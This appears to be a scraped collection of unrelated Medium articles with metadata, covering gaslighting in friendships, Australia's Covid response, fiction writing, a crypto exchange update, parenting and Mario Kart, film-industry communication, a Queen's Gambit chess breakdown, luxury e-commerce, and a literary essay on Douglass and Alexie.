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How a Sixty Second TikTok Video Helped Me Realise I’d Been Gaslighting Myself | How a Sixty Second TikTok Video Helped Me Realise I’d Been Gaslighting Myself
It’s so funny…it’s, wait…
Gaslighting: A form of psychological manipulation in which a person or a group covertly sows seeds of doubt in a targeted individual or group, making them question their own memory, perception, or judgment, often evoking in them cognitive dissonance and other changes, including low self-esteem.
The TikTok in question is the work of the hilarious genius, Jordan Firstman; easily the funniest and smartest person on the internet:
https://vm.tiktok.com/ZMJkeDDD5/
For those who don’t have TikTok, here’s a transcribed version:
The text reads: This is my impression of a friend who won’t let you talk shit.
Jordan says:
No I don’t feel like they’re like that at all…Yeah no, I’ve never seem them display that kind of behaviour. Um yeah, and even if the story you’re telling is infact true and unbiased, um, I’ve known them for long enough to know that it’s not a pattern so it’s not worth talking about. And I get that you might feel that it will bring us closer together to talk that way about about our friend but um, I don’t feel close to you at all right now. In this moment…yeah, I feel quite…quite the contrary. I feel far…away. And so I guess what I would recommend is maybe you looking inward and kind of just trying to figure out where that comes from inside of you. And then me or the friend that you’re shit talking, I’m sure we would both be happy to kind of help you figure that out. K? We should order! Wings? Oh my god, wings! I hate, I hate getting messy but I gotta say I love the taste of wings. Let’s do it! Why —
When I first came across the video, I scoffed and immediately sent it to my partner for us to enjoy during our before bed Tok time. To my surprise, however, instead of snuggling into my usual warm nook, I found myself sitting upright, fully ready to enagage in a heated debate. As the video played, my partner had exclaimed — Oh my god! These kinds of people make me so angry! I struggled to make sense of her reaction, because to me, Jordan was addressing the issue of bitching and talking bad about a friend when they weren’t present. I felt that the character he was playing was completely right — bitching about someone behind their back was at best petty, and at worst, a telltale sign of untrustworthiness and inauthenticity. I stated my case — What?! Friends bitching about each other is not okay, it’s immature and disrespectful. He’s clearly expressing that he doesn’t want to be a part of that!…
My partner, who knows how to spot my ego flares by now, knew what kind of road I was heading down. Okay…she replied simply. I knew this meant she was not going to enagage much further and, clever — because through my reaction, I had showed how open I was going to be to hearing her. Not very. Alas, there is a reward for doing your shadow work. After a few minutes, I was able to put my reactive self at ease and bring my responsive self forward. I asked what her perspective was on the situation and made sure I was listening.
I just think these kinds of people invalidate your experience, she said. They’re responding with their experience and not listening to yours.
Okay, I could see where she was coming from. But what about the issue of talking bad about a friend behind their back? Wasn’t that still an issue?
It’s not about bitching, she continued. It’s about expressing how you feel about an experience you’ve had with someone. Like, I didn’t ask for your experience with this person, I wanted to talk about mine. I think that should be safe to do with a friend.
I was hearing her. I understood and agreed with her points. But I still couldn’t let it go. Shouldn’t you take it up with said friend, then? Instead of talking it through with someone else?
Well, there are a few obstacles with that. Approaching someone to talk can quickly turn into a confrontation because the person you’re talking to reacts with anger or fear, and the situation is made worse by bringing it up with them. Sometimes you’re not ready to talk it through, and you’d prefer to just get it off your chest with someone else.
Hearing this, I realised — approaching someone directly isn’t actually always the best option. Sometimes it isn’t necessary or helpful, and sometimes it simply isn’t possible. You’re not morally superior if you march right up to someone and tell them what you think of them — in fact, if it’s not appropriate for the person or the situation you’re dealing with, it could be emotionally and/or mentally insensitive, and sometimes even unsafe.
This led me to reconsider what ‘bitching’ actually was and whether it was even a justifiable excuse for that type of response — I reminded myself: bitching was the act of complaining and making unkind remarks about someone. Was it unkind to express how you felt about an experience you had with someone to someone else? I decided that no, it wasn’t.
My partner suggested I watch the video again to see if my perspective had changed. It had. I listened again, this time actually hearing what was being said, rather than reacting from a defensive place dictated by my childhood trauma.
No I don’t feel like they’re like that at all…Yeah no, I’ve never seem them display that kind of behaviour.
Straight up invalidation of someone else’s experience based on yours.
Um yeah, and even if the story you’re telling is infact true and unbiased, um, I’ve known them for long enough to know that it’s not a pattern so it’s not worth talking about.
This sentence was almost painful to dissect. It begins with a passive accusation of lying, followed by the insinuation that knowing someone for a long time is evidence enough for their good behavior, and to finish it off, a blatant statement that you and your feelings? Literally not worth hearing.
I get that you might feel that it might bring us closer together to talk that way about about our friend but um, I don’t feel close to you at all right now. In this moment…yeah, I feel quite…quite the contrary. I feel far…away.
This tells you that it’s not safe to express yourself honestly and openly with this person. They’re just not here for it.
And so I guess what I would recommend is maybe you looking inward and kind of just trying to figure out where that comes from inside of you. And then me or the friend that you’re shit talking, I’m sure we would both be happy to kind of help you figure that out. K?
This is the most troublesome sentence of all. While a strong emotional reaction to someone’s actions can be a mirror for unhealed issues and insecurities inside oneself, it’s not the correct time or method to share that kind of teaching with someone. This is the type of comment that comes from a huge spiritual ego— if anything, it shows the work that person themselves still has to do. Rather than condescendingly suggest inner reflection as a response to someone being vulnerable enough to express themselves, a person who really embodied their higher self would not offer unsolicited advice, they would instead show their friend love by holding space and listening with compassion, patience and objectivity.
We should order. Wings? Oh my god, wings! I hate, I hate getting messy but I gotta say I love the taste of wings. Let’s do it! Why —
Finally, the sudden forced closure of the conversation without having asked the person if they needed to talk further shows that it’s truly a one way show. | https://medium.com/the-innovation/its-so-funny-it-s-wait-2e4221d020b | [] | 2020-09-03 01:39:53.951000+00:00 | ['Self Improvement', 'Shadowwork', 'Sociology', 'Friendship', 'Psychology'] |
How Australia controlled the Covid | As a citizen of the United States living in Australia, I’ve felt incredibly conflicted in 2020. Life has pretty much gone back to normal here, but every day I hear about the rest of America and most of the world continuing to suffer physically, mentally and economically. I decided to write a little blog post highlighting some of the things that were enacted here that, gradually, allowed Australia to go back to normal, in many ways.
American Expat Thanksgiving 2020
I felt so strange this year as I had a big American Thanksgiving in Australia while knowing that Americans in America couldn’t (or at least shouldn’t) do the same. I feel so lucky that we can gather in Australia, that we don’t typically have to wear a mask, that we can go see live music. Then again, the fact that I probably won’t be able to get home quickly, even in case of emergency messes with my mind every day.
Australian citizens and residents are rarely allowed to leave the country in 2020.
I type this as a recent outbreak just sprung up in Sydney. We’re told that contract tracers are on it. People in New South Wales, (where Sydney is located) have begun flooding testing centers to do their bit and catch any potential stray cases. As of today we had eight cases announced, down from 15 yesterday, a good sign. It looks like it isn’t nearly as bad as the Melbourne outbreak earlier this year. We haven’t yet gotten to the bottom of who this case actually came from, but the scientists have determined it’s a strain that came from America. Before this latest outbreak over the last week, we’d gone months with only one random case of community transmission in the entire country. (Of course people arriving from overseas in hotels were still testing positive, but they were under control.)
It’s exciting feeling like things are mostly going back to normal. Most of the restrictions have being lifted, live music is back and we’re allowed to dance again, Ongoing talks continue around the idea of a travel bubble forming between Australia and New Zealand.
So let’s jump back to the beginning in early March when these cases all started to take off. Much like the rest of the world, people were scared. Australians made international news for fights in the store over toilet paper. Cases began to appear throughout the country, as they did in the US, UK, Italy, you name it.
Here are ten factors that I believe had a huge affect on containing the coronavirus.
Ban on overseas travel going out
Unless there was a special situation, Australians were not allowed to go overseas. Legally they were not allowed to leave unless they had special permission granted by the government. I think because I am a dual citizen Australia could not technically have been barred from leaving, although it would have been quite hard to get an affordable flight. Not only that, but also my return would have been quite annoying to achieve, which I’ll write more about later.
2. Ban on all overseas travel coming in
Not only did we not let people out, but also, we made it quite difficult for even our very own citizens who resided overseas to come back in. We started seeing news encouraging Aussie citizens to come home if they were overseas, saying it might become much harder to get them home in the future. In the beginning, most countries implemented a ban on China, and yes, we did this. Then we saw the high cases coming out of places like Iran and Italy, and we banned them. Eventually we banned people from every single country from entering. The only people we let into Australia were citizens and permanent residents unless it was a special government granted circumstance. Learn more about it all on this government website.
But there’s more.
3. Mandatory quarantine in a guarded hotel for two weeks.
Any citizen or resident or special case arriving overseas into Australia is required to quarantine for two weeks in a guarded hotel. I think is probably the big catch, the thing that would be incredibly hard to orchestrate in countries with much higher populations than Australia and much more international airports (or even land borders like US has with Mexico and Canada and all of Europe). Australia has 13 international airports. In contrast, the US has 149. It’s a much larger effort to manage 149 airports compared to 13. Then again the US pours mountains of cash into its military, so I do think it is technically doable. It would just require a lot of organization and working together for a common goal.
One more important note about this: At first this quarantine was paid for by Australian tax dollars but now any resident or citizen who wants to fly into Australia has to quarantine with $3,000 AUD of their own money. Here’s my interview with a lovely friend who was in quarantine in Perth a few months ago after living in Sweden which explains this more.
4. Focused lockdowns where there are outbreaks
Once we got the virus more under control, we still had outbreaks from time to time, as we’re seeing right now with Sydney. Australia has only eight states and territories, and when Victoria experienced a huge outbreak in July and August, all other states started shutting boarders to Victorian residents. If a resident of Victoria wanted to fly to the Northern Territory, they had to quarantine in a hotel the exact same way overseas travelers did. I don’t know if that would “fly” in the US. Plus with so many Americans regularly crossing state borders, the force necessary to force them all to quarantine would have to be enormous. It would be a huge operation to orchestrate this in the US, it already was in Australia. How many ways can you cross the border in Kentucky for example? Every single one of these entries would have to be secure.
Here’s an example of how it worked: When the rest of the country had started loosening restrictions and opening up businesses and activities, the state of Victoria realized they hadn’t been properly training the guards at the quarantine hotels and that the virus was out in Melbourne, their biggest city. They had to double down. The government locked down Melbourne, and I think masks were made mandatory (somebody please help me confirm this!). The state was on serious lockdown for 112 days. It worked too. It took a while but the numbers stopped skyrocketing and slowed to a stop. And the rest of Australia could live reasonably normal although there were a few micro outbreaks in New South Wales that came from Melbourne before the country locked the borders. During the time of the micro outbreaks, masks became highly encouraged in New South Wales as well, but after we got it under control things went back to no mask normal.
5. Contact Tracing
If you want to do anything fun in Australia you have to check in online with your name and number.
When Covid first arrived, cases were sporadically all over the country, so the whole country shut down, venues closed, no dining, no concerts, no sports, no church. Once we got a better handle on cases, things shifted. Northern Territory, the territory with the lowest population, was the first to be able to open up because there were no new cases. Eventually New South Wales started opening up again cafes and restaurants, but QR codes were everywhere, see image above. The new normal in Australia is if you wanted to dine in or have a drink anywhere, you have to register your name and number so you can be contacted if by any chance you end up being exposed. I don’t know how effective this has actually been, it seems hard to enforce everyone actually registering their true details. (I always do!) I do know they’ve traced the latest outbreak in Sydney to one or two venues in one suburb which is interesting. Also, whenever there is an outbreak, news outlets and politicians publish a long list of all the venues where the Covid positive case has been to alert the public.
6. School Closings
In the beginning schools weren’t officially closed, but I think the government encouraged people keeping their kids home if possible. They also made childcare free for essential workers and vulnerable kids which was very generous, especially for a conservative government. However, schools have remained pretty much open since then, with the exception of the big Melbourne outbreak where schools went to online learning for several weeks. And of course when schools were closed so were all other venues too. I have not kept up with the school closing thing very well so please let me know if I can better update this section.
7. Masks
Masks have rarely been mandatory during the pandemic but as news of cases start to rise in certain areas you definitely see more people wearing them, and businesses and governments start encouraging them. In this latest Sydney outbreak along with closing businesses and locking down people, masks were highly encouraged. They seem to be one helpful piece of the highly complex puzzle of preventing Covid.
8. Government support
I actually think this is another one of the biggest factors that helped Australians stay home and chill out during Covid. The Aussie government shelled out stacks of cash to the unemployed, and they’re still doing it! Citizens and residents had two financial options. They could either do job seeker where they get $250AUD a fortnight until 31 December 2020 and $150 per fortnight between 1 January and 31 March 2021.” For the Jobseeker there are 2 components — income support and coronavirus supplement. According to my friend who has used this option, both rates have reduced a bit since September.
Alternatively they could use a program called Jobkeeper. For Job keeper it was 1500 per fortnight per employee, until September. As long as you could prove that your employees were being paid this. Another key thing with Job Keeper was businesses had to demonstrate that their revenue has reduced by at least 30% due to the Covid-19.
Luckily I have not needed to do either of these things, so I feel a bit murky around everything that is happening here. I think another option is that Australians were allowed to tap into their superannuation, which basically means they could access their forced savings. This pissed off a lot of Australians, which I can understand.
I feel for how little compensation Americans are getting in comparison, but then again I interviewed people in Colombia, Mexico, Kenya and Mozambique who got nothing from their government. Unfortunately, situations can always get worse.
9. Free testing and free quality health care
Another thing which has helped Australia manage the pandemic so well is the fact that this country has free, good health care. Also testing centers are easy to find and free and encouraged, so if anyone is feeling sick there’s really no incentive not to get tested. I talked to people in India and Nepal that explained that poor health care and lack of access to tests can make containing the virus much harder.
10. Elephant in the room
I don’t love everything about the current Australian government, but the way they’ve managed this virus is remarkable. Maybe they’re making up for the awful bushfire debacle we had this time last year. I wish more countries would take note of what we’ve done, but the realist in me knows that for Europe, US, or most other countries, to do what we did would be far more challenging. Australia is a massive island with no land borders. The entire continent of Australia has fewer people than the entire state of New York. We’re less populated with vast amounts of space between cities. That by default helps slow the spread. Also, while there were a few protests against the lockdowns, Australians are remarkably trusting in their government. A lot of people in New South Wales just had their holiday travel plans canceled because of the relatively speaking, small, Sydney outbreak. People lost money and are not going to see their loved ones after a really terrible year. People are angry, but I wouldn’t say they’re tearing down the doors of parliament crying hoax or stocking up on guns. Trust in the government has helped the management of Covid 19 massively in Australia. But, we could trust our government, they were giving us money every other week to help the economy! Unfortunately, you can’t always trust governments.
I hope the above has been helpful and informative. Check out the links I’ve included to learn more and feel free to share this around and maybe inspire other people to look into different ways different countries do things.
Fellow Aussies, please let me know if I’ve missed anything and I shall amend.
-Alex Morris @AlexMorrisWrite | https://medium.com/@alexmorriswrite/how-australia-controlled-the-covid-2fe80ea6b13a | ['Alex Morris'] | 2020-12-24 05:21:41.208000+00:00 | ['Contact Tracing', 'Quarantine', 'Covid 19', 'Australia', 'USA'] |
9 Writing Lessons I Learned From Drafting My First Fiction Novel | 9 Writing Lessons I Learned From Drafting My First Fiction Novel
Tips to consider if you’re interested in crafting a new story
Photo by Ben Karpinski on Unsplash
The idea first started over the summer.
I had just finished reading a book by a musician named Andrew Peterson where he talked about the creative process and why it was important for adults to retain the imaginations of their youth. He quoted two of my favorite authors, C.S. Lewis and Tolkien. That day in early June, in my daily journal, I wrote down a question that was starting to creep into the background of my brain:
What would it look like to try to write a fiction novel?
I’m an avid reader and have been writing for years now. I’ve written drafts of non-fiction books and worked in a myriad of the stages of publishing other people’s books, but I had never attempted to write my own fiction story.
Like most ideas, I sat on it and didn’t do anything about it. A few months later, a friend invited me to participate in a creative writing group focused on completing a specific writing project of our choice throughout the fall. I threw out that I’d write a series of short stories, still partially afraid to commit to the idea of an entire novel, and started working in my spare time.
As most writers can attest, once I got going, I kept going. I had a story I liked and characters that were starting to take shape. When I found myself thinking about the idea and the events about to unfold within the novel even when I wasn’t writing, that’s when I knew I was hooked.
By the end of October, I was sitting on nearly 60,000 words and a partial story. I had never really participated in National November Writing Month but thought this would be a good moment, considering I was already at work on a novel. Over the first 21 days of November, I wrote the remaining 75,000 words and finished the draft of my first fiction novel.
While writing, I learned so much about the ideas that go into getting a fiction novel down on paper. After combing back through the process and noting the speed bumps, stalls, and sticky spots, I’ve come up with nine core ideas to consider if you want to write a fiction novel as well. | https://medium.com/better-marketing/9-writing-lessons-i-learned-from-drafting-my-first-fiction-novel-bef878d564f0 | ['Jake Daghe'] | 2020-12-18 14:01:00.503000+00:00 | ['Fiction Writing', 'Storytelling', 'Fiction', 'Advice', 'Writing'] |
Serenity.Exchange Development Report | Dear friends!
We strive to be as open as possible, so every two weeks we will present a progress report on the development of our Exchange.
During the period from August 27th to September 10th, we have improved a number of features, thereby increasing the security and usability of the Exchange:
Passwords are now more secure!
The risk of your account being hacked is minimized thanks to the improved password generator: not only alphanumeric characters can now be used in passwords. This makes any hacking attempts much more difficult.
2. Select your citizenship from the full list of countries.
We have expanded the list of countries, now all users can choose their country to specify citizenship.
3. Minimum transaction limits are set for each instrument.
The limits will be displayed in the currency of a quote, so our users can immediately access information about the limitations of trading a certain instrument.
4. User’s order list bug fixed.
Our users are reporting a problem: when one of the placed orders is canceled, others get canceled too. We already fixed the bug — try it now!
5. TradingView vulnerability eliminated.
TradingView, a web service providing online charts for exchanges, reported vulnerabilities in its software. Serenity Exchange team promptly updated TradingView libraries, thereby protecting the exchange and users from possible attacks.
6. Automatic verification of scans and photos of documents.
To pass the KYC procedure, you must provide photos of your documents with a .JPG or .PNG extension. Now Serenity automatically checks documents before upload and rejects images with wrong resolution. This eliminates the risk of downloading malicious files and increases Serenity Exchange’s resistance to external threats.
7. “Unnecessary” notification about loss of chat connection removed.
The notification was groundless and confusing to users. Bug fixed.
8. Favicon added for the web version of the Exchange.
Minor aesthetic upgrade: Serenity.Exchange icon added in the site loading bar.
We will continue to keep you informed about our development process. Your awareness, safety, and comfort are of the utmost importance to us. Like this post if you think that these Serenity.Exchange updates are useful. Leave a comment to report a bug, propose an improvement idea for the exchange, ask a question, or share your opinion. | https://medium.com/serenity-project/serenity-exchange-development-report-29d66fee92b9 | ['Serenity Financial'] | 2019-09-11 08:25:43.486000+00:00 | ['Bitcoin', 'Ethereum', 'Exchange', 'Cryptocurrency'] |
Should I Let My Daughter Beat Me At Mario Kart? | Should I Let My Daughter Beat Me At Mario Kart?
A lesson in parenting from everybody’s favourite Italian plumber.
Ask anyone that’s ever played a game of Monopoly with me, and they’ll tell you how competitive I am. I won’t deny it. On occasion, I’ve been known to take things a little too seriously. It doesn’t matter what the game is, or who I’m playing against, I play to win. What can I say, we all have flaws right? So you can imagine the dilemma I face when I sit down to play Mario Kart with my daughter.
The Apples Didn’t Fall Far From The Tree (But They Fell In First Place!)
I’ve spent a lot of time playing Mario Kart. It should come as no surprise that my children are just as competitive as I am. My son is too young to comprehend what it means to win or lose, but even at two, I can see the competitive streak beginning to emerge. Isabella is six so she very much understands the concept, and has undoubtedly witnessed me getting over-competitive in a game of Scrabble at some point, which won’t have helped matters.
I’ve taken her aside to explain she shouldn’t get upset if she doesn’t win at something, (pot, kettle black anyone?) and that losing isn’t the end of the world.
Can you smell that?
It smells like…hypocrisy.
To Win, Or Not To Win?
To clarify, when we play, I don’t win as a way of demonstrating my skill compared to hers. Metaphorically speaking it’s like watching the Tune Squad going up against the Monstars in Space Jam, without the help of Michael Jordan. No, I win because I am torn between the merits of beating her or letting her win.
I want my children to grow up knowing how good it feels to succeed, even at something as trivial as Mario Kart. That feeling isn’t something I experienced often as a child. But I also want them to grow up with the understanding that there will be times in life when you are not the best singer, or dancer, the most athletically gifted, or most intelligent person in the room.
Nothing would make me happier than to watch her genuinely kick my ass at Mario Kart, the way I did to my Dad when I was a kid. Right now, she can’t. What’s more, is that she knows she can’t. So what do I achieve by letting her win? She receives a false sense of accomplishment, that subconsciously she knows she didn’t earn. By letting her win, am I setting her up to fail later in life when she’s hit with the realisation that in the real world, you won’t succeed just because you want to?
On the other side of that coin, if she loses constantly, it will destroy her motivation. She will feel sad and dejected, something that my natural instinct as a parent tells me to prevent. And yes, while of course I try and explain to her that she won’t always win, all she sees is that she wanted to win at something and she didn’t. She is only six after all.
I don’t want her to grow up thinking that life isn’t fair if she doesn’t succeed, or that something isn’t worth doing if it’s too hard, that you should give up at the first hurdle. I want her to grow up seeing failure for what it really is.
Failure Is Just A Lesson You Learned On The Path To Success.
Think of somebody successful. The list of potential names you could choose is endless. But it doesn’t really matter who you choose. What matters is how you think those individuals got to where they are.
Do you think they achieved their goals on the first attempt? Or the second? Or the third? No. Because the road to success is paved with failures:
Michael Jordan — the greatest basketball player in history, didn’t make his high-school basketball team.
J.K. Rowling — the author of the Harry Potter novels, saw her manuscript for the first novel rejected by twelve publishers before it was eventually published.
publishers before it was eventually published. Walt Disney — was told that he lacked imagination and had no good ideas.
Will Isabella grow up to have the success of the names mentioned above? Not necessarily, but I most certainly hope so.
Regardless of what she goes onto achieve, I want her to achieve it with the attitude that she will succeed as long as she puts her mind to it. It doesn’t matter whether it’s singing, dancing, gymnastics, she can become a professional Mario Kart player for all I care, as long as it makes her happy.
But she needs to know that you won’t always win when it comes to the game of life. She needs to know that you might not win the second time around either. Or the third, or even the hundredth. She needs to learn that if you want something badly enough, you should embrace your failures, learn from them and try again. But for now?
She needs to learn how to keep Princess Peach’s car on the race track.
What are your thoughts? I’d love to hear your opinions. | https://medium.com/1-one-infinity/should-i-let-my-daughter-beat-me-at-mario-kart-18cea9efe5ab | ['Jon Peters'] | 2019-09-11 20:39:36.232000+00:00 | ['Children', 'Advice', 'Questions', 'Parenting', 'Life Lessons'] |
NEED FOR TRANSPARENT COMMUNICATION IN THE FILM INDUSTRY | Communication is the basis of every function, and transparent communication is the road to have clear running. In the film industry, where a large number of people- artists, vendors, producers, production houses, and sponsors are involved and to manage the communication between all is what makes the film a success.
Often, a lot of important information gets misplaced and leads to miscommunication in the grapevine that occurs due to too many points of communication. The entire process of filmmaking is highly complex and requires a lot of props and resources but, when the transmission is clear and transparent, it becomes quick to obtain the right resources at the right time, saving both money and time.
The film industry often needs to hold backups in case of sudden requirements, but with the right communication platform, the requirements can be met, and with prior preparation of schedules known to everybody,
Such kind of communication not only creates a sense of trust but also enhances the productivity of the entire chain of the filmmaking process. Regular communication and easy flow of information between the team builds trust and relationships that lead to them continuing to do work with you.
The right level of communication gets you the talent and offers better understanding, and creates a greater focus on the task at hand. A platform that can make coordination and communication flow at ease, and the conversation is not lost is the best way for a conversation that requires documentation and clear understanding.
In the film industry, often the focus is placed on the end film, but in the making of that film, every point of discussion and communication has to be clear and concise. There is never much time to explain and re-explain the flow, so when transparent communication flows through, everybody is a part of the conversation and can focus on the task accordingly.
We at Artha are building something amazing. Do follow on social media to stay updated. | https://medium.com/@arthapp/need-for-transparent-communication-in-the-film-industry-abaff6d5c4fd | ['Artha Application'] | 2020-12-10 10:17:20.219000+00:00 | ['Platform', 'Entertainment Industry', 'Communication', 'Filmmaking', 'Film'] |
Breaking Down The Final Chess Match In The Netflix Miniseries ‘The Queen’s Gambit’ | The Queen’s Gambit
An opening is a named, initial sequence of moves by both players. A gambit is an opening where a player attempts to sacrifice a piece in the hopes of gaining a future advantage. The Queen’s Gambit is one of many possible openings, described in the dialogue of the show:
Elizabeth Harmon plays pawn to Queen four. Borgov plays pawn to Queen four. Harmon plays pawn to Queen Bishop four. The Queen’s Gambit.
Queen’s Gambit
Queen’s Gambit is one of the top three openings used by AlphaZero. The bars show the win percentage when playing the opening with the left when playing White and the right when playing Black. The line graph shows the preference of the opening based on the amount of training time for the algorithm.
Early on in the show, Mr. Shaibel—a custodian at the orphanage where Elizabeth Harmon, the series’ heroine, grows up, who becomes her first chess teacher — stresses to Harmon that she needs to learn the Sicilian Defense, which leads her, in the early episodes, to open King four (e4) when White.
The Sicilian is really best thought of as a large collection of systems and variations, all of which begin with 1.e4 c5. ― Garry Kasparov
But — per the novel on which the show was based — prior to the final match against Russian world champion Vasily Borgov, Harmon tells her friend and fellow chess prodigy Benny that she wants to avoid Borgov’s Sicilian — and that, if she were to draw White, she would play the Queen’s Gambit to do so. In the final match with Borgov, this is the first time that Harmon opens with Queen four (d4), while in every other match, she opened with King four (e4).
Harmon Opened To King four (e4) Against Harry In Kentucky
Harmon Opened To King four (e4) Against Benny In Las Vegas
Harmon Opened To King four (e4) Against Borgov In Paris
Harmon Opened To Queen four (d4) Against Borgov In Moscow
Borgov Takes Non-Standard Line
Borgov declines, moves pawn to King four. The Albin Counter-Gambit. Borgov’s second move is a bit of a surprise. Normally, Borgov would do something more solid, but here, he’s going against his own style and playing a rare line to win.
After Harmon (White) makes the Queen’s Gambit, the opening will subsequently fall into one of two categories, depending on Borgov’s (Black) response: accepted or declined.
If Black takes the pawn at Queen Bishop four (c4), the response is defined as accepted, since Black allows White to sacrifice the pawn.
Queen’s Gambit Accepted
If Black does not take the pawn at Queen bishop four (c4), the response is defined as declined, since Black does not take White’s sacrifice. In the case of a decline, the standard (Orthodox Line) move for Black is to move a pawn to King three (e6), providing defense for the pawn at Queen four (d5). The Albin Counter-Gambit is an uncommon defense of the Queen’s Gambit in which Black moves a pawn to King four (e5).
Queen’s Gambit Declined (Orthodox Line)
Queen’s Gambit Declined (Albin Counter-Gambit / Borgov’s Line)
Harmon’s response was a complete deviation from the Albin, which must’ve surprised him right back, whilst allowing her to get out into the open.
In the scene, after a few moves occur off-camera, we see that Borgov’s pawn at King four (e5) is still on the board, meaning Harmon has declined to take the Albin Counter-Gambit —the main line would be to play your knight to Queen Bishop three, but she first plays her pawn to King four, allowing space for her bishop, then plays Knight to Queen Bishop three. Such a divergence from the main line is called a “deviation”.
Modern Chess Openings by R.C. Griffith (1939)
Reenactment Of Scene
Harmon Declines The Albin Counter-Gambit
Who was winning when the game was adjourned?
To determine this, I input the board position — that is, which pieces are still on the board, with the coordinates of each piece — into the Stockfish chess engine, which output a score of the match. The position is written and stored using the Forsyth-Edwards Notation (FEN) to record the state of the board.
The Queen’s Gambit FEN: rnbqkbnr/ppp1pppp/8/3p4/2PP4/8/PP2PPPP/RNBQKBNR b KQkq c3 0 2
You can copy and paste the string above into any chess diagram creator that accepts FEN; all standard notations are determinant, meaning they will produce the same output across all compatible programs.
The chess engine score is a single value: either a signed number indicating which player has the advantage on the board, or a signed alphanumeric combination indicating how many moves it will take the winning player to force a checkmate. A positive (“+”) sign indicates the score is with respect to White, and a negative (“-”) means the score is with respect to Black.
To calculate the score, the chess engine considers a number (depth) of possible moves both players can take in the future based on the board’s current position. As a signed number, the score indicates how many points ahead a player is; the unit of measure is the pawn. A score of +2.25 or -2.25 indicates that White or Black, respectively, leads by 2.25 pawns. A score of +M3 means that White can force a checkmate in three moves, and vice versa.
There is a strong correlation between the chess engine’s score and the proportion of victory for each player. MIT Media Lab took the chess engine score of 120,000+ positions and the proportion of victory for each position from an archive of 750,000 games, finding a best-fit line to approximate the relationship to win percentage. Given a chess engine score, you simply multiply the value by 100 to match the units — appropriately named centipawns — of the graph below, then you can find the probability of a win for either side using the best-fit line. | https://kurrytran.medium.com/borgov-v-harmon-game-analysis-in-the-netflix-miniseries-the-queens-gambit-b475110af701 | ['Kurry Tran'] | 2020-11-18 16:57:52.175000+00:00 | ['Alphazero', 'Netflix Originals', 'Chess', 'The Queens Gambit', 'Netflix'] |
[BLOG] A New Trend For Luxury Markets, GUHADA | Growth of the luxury markets from “YOLO” spending
Recently, there had been a great spending increase by young adults around the age of 20s, recognized as the big spenders for luxury products. As “YOLO Life” is becoming a trend within the group, the purchasing rate of the group is much higher than other age groups. It is a global trend that young adults are becoming the big spenders of luxury products. The luxury brand companies and the industry is increasingly more focused on online shopping malls to target young adult luxury item shoppers.
In the past 25th, the online portion of the global company of luxury products, Louis Vuitton Moet Hennessy (LVMH)’s 24S, known as their online-shop entered the Korean luxury market by adding Korean language and related services, confirming the significance of the luxury market industry in Korea. In addition, the country’s premium outlets facilitated by top-rated malls, as Lotte and Shinsaege shifted their momentum to focus on online shopping.
The consistent problem of the luxury market, the counterfeits
Although the increase in growth of the luxury markets persists, the problems of counterfeit products still yet been solved. Even a simple search about luxury products online, financial damages caused by counterfeit products easily appear on the first page. In addition, a 30-year-old counterfeit luxury product seller had been sentenced for a felony offense. The felon executed the fraudulent activity by copying the brand symbols and trademarks and placed them on the products that were being sold on the site, selling about 25 thousand products, approximately equal to 12.7 million dollars in real product value.
As the sale of luxury products have become active through social networking sites nowadays, the damages related to the sales had been increasing as well. It is especially difficult to track all the sales that happen through social networking sites since most of the sales are done privately through direct messages between the merchant and the purchaser, so it is becoming a critical issue. The products purchased through the social networking sites are not entitled to a refund since the sales are done privately and even if the product is a fake, there are not much of ways to recover the lost or financial damages. | https://medium.com/temcolabs/blog-a-new-trend-for-luxury-markets-guhada-b558da667f7 | [] | 2019-06-27 05:26:33.672000+00:00 | ['Blockchain', 'Guhada', 'Online Shopping', 'Platform', 'Luxury'] |
A Thin White Line Runs Through It | Photo by Jacky Zeng on Unsplash
A Thin White Line Runs Through It
When analyzing the ways in which the various writers in this unit chose to persuade their audiences successfully, we must first take into consideration the period in history in which it was written, and who it was written for. For example, in My Bondage and My Freedom, Fredrick Douglass is in the unique position of being one of the first learned slaves out of servitude that was able to aptly articulate the injustices he had experienced. However, his very recent proximity to freedom, made him not only a novelty, but also less of a threat. Gratitude, fear, and naivete made him more inclined to allow the white abolitionists he associated with to control the narrative to freedom.
This was evidenced by the tone of his writing. Douglass still possessed a hopeful language that ensued a trust in and of whites, but, was peppered with enough detailed imagery of his life in bondage to rouse the repulsion of those who were against slavery. Fredrick being both cordial and congenial was due in part to his limited experience with sharing relational space with whites and vice versa.
However, in order for Douglass to cross both the physical and psychological borders needed to persuade whites to help in his endeavors, he had to speak in a language they could easily digest. That was one of civility and servitude. He was instructed to be what whites had expected to see. Douglass writes,” It was said to me, ’Better have a little of the plantation manner of speech than not, ’tis not best that you seem too learned. (1077) This was not new to Douglass because in order to cross the borders with whites, and keep them as allies, he was encouraged to play this particular role over and over again. The role of the downtrodden slave. This became increasingly difficult as he became more educated. Douglass states, “I could not always obey, for I was now reading and thinking. New views of the subject were presented to my mind. It did not entirely satisfy me to narrate wrongs; I felt like denouncing them.” (1077) As a powerful orator and biographer of slavery Douglass did a lot to persuade whites of the injustices of slavery through his personal transformation and congeniality.
Photo by MJ Tangonan on Unsplash
Yet as history progresses, and white supremacy still abounds; the effects of colonization on the American Indian generated a visceral reaction. The thin white line of assimilation rendered the American Indian and their culture nearly extinct. The greater cause of cognitive dissonance is knowing that the only validation of your existence is to play up the relationship to whiteness either by blood or by proximity. Whatever the relation, the only way to persuade is to persist or to pander. To assimilate and assume a role or narrative. In the same way that Douglass needed to not seem too educated, the Indian should remain a racially ambiguous mystic demanding nothing and accepting of all. Alexie writes,
“There must be redemption, of course, and sins must be forgiven. For this we need children. A white child and an Indian child, gender not important, should express deep affection in a childlike way. In the Great American Indian novel, when it is finally written, all of the white people will be Indians and all of the Indians will be ghosts. (427)
Alexie employs imagery of the basic extinction of his people and culture due to the colonization of whites. He also reminds whites that the people that have been relegated to the reservation with a wanton disregard and bad food, carry the blood of their white ancestors which they need to acknowledge and not try to dilute and erase. Alexie speaks of the borders that are crossed on his psyche based on how he sees himself; and how he is viewed in America. The language he uses brings a clarity to the situation that could usher in more compassion. It is straightforward but keeps a relative emotional distance as a pathos.
Yet for Malcolm X and Wendy Rose their pathos stems from the desire to denounce the dominant culture and embrace their ethnic heritage. They both use more incendiary language in order to appeal to their bases and persuade change in society. Echoing Alexie, Rose writes about the value of Indian life and what she feels it means in society. Rose writes:
“Is it in cold hard cash? The kind that dusts the insides of men’s’ pockets laying silver-polished surface along the cloth? Or in bills? Papering wallets of they that go about threading the night with dark words. Or checks? Paper Promises that weight the same as words spoken once between the grown grass of our history and the hidden water in the clouds.” (21)
